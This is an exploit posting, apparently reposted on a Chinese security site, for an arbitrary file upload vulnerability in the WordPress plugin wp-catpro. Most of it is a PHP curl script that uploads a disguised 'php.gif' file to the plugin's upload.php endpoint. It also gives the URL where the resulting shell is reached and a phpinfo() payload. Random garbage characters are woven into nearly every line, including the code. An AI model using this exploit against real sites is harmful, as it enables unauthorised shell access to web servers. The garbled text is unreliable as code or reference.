Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
# `" J5 O- D3 o#-----------------------------------------------------------------------
; G" U, N1 b7 n, N5 a8 b" a; @ ! D# y* I! {9 @6 Q' w# H& _. d
作者 => Zikou-16
( g5 F$ m9 M# v0 K h: c邮箱 => zikou16x@gmail.com7 Q" ?" |5 L+ j8 I' j# Z5 I! q
测试系统 : Windows 7 , Backtrack 5r31 F! ]9 o/ f+ K4 C. [
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip( N4 c& j/ \# r' U, q1 y4 O
####. L6 S6 o7 ]& G* G1 C z
/ V! j; M- R& g2 g
#=> Exploit 信息:
7 ^! D& o9 T' l! T- c5 R------------------
' V& i5 e% R3 U3 M9 J7 N# 攻击者可以上传 file/shell.php.gif r }" F# ?8 A& v. C3 v
# ("jpg", "gif", "png") // Allowed file extensions
' f- O: E5 \! B0 `) ?) B# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
+ N5 x8 Q* T0 e7 @$ }3 m. ~# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format). O* [% P( Z" z5 Z- Q- I- i& i
------------------2 q. I0 b! {* l( u, t U& Q' e! V
5 p9 \& J6 m: c0 f* _#=> Exploit
" b, ]& X* W9 C3 U. i, O( l-----------
2 Z, i9 u, J1 ]+ N<?php
- O% g/ L3 g" |0 L3 S % }5 v+ `" g6 y2 p* \1 I
$uploadfile="zik.php.gif";
4 `. V+ A+ \6 P X4 _$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
* n) i1 X j) X0 |# y/ s/ vcurl_setopt($ch, CURLOPT_POST, true);
5 l3 b4 L: A+ t7 G8 Ecurl_setopt($ch, CURLOPT_POSTFIELDS,$ A# O/ h6 I: N* u2 z
array('Filedata'=>"@$uploadfile",8 n, Y+ K7 O9 t5 }8 P3 ?1 y" e
'folder'=>'/wp-content/uploads/catpro/')); ^2 Y% N) G2 _9 d! p* h. t
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5 E; W/ a; z, j$postResult = curl_exec($ch);6 D. |, [5 m) }: l" ]
curl_close($ch);
$ Y7 h+ u1 Y ?$ f2 d 5 o$ B P- Y8 [ V
print "$postResult";2 B' t Q' t/ l% @5 _0 q- Y
8 ~! @6 t" L) |# \8 R
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif) T% V+ z) `( Z
?>
, |8 o% ^/ {+ \$ |2 J2 e<?php
/ i8 d: v5 e5 \2 B! sphpinfo();
/ }5 ~# J$ f1 f# N?> |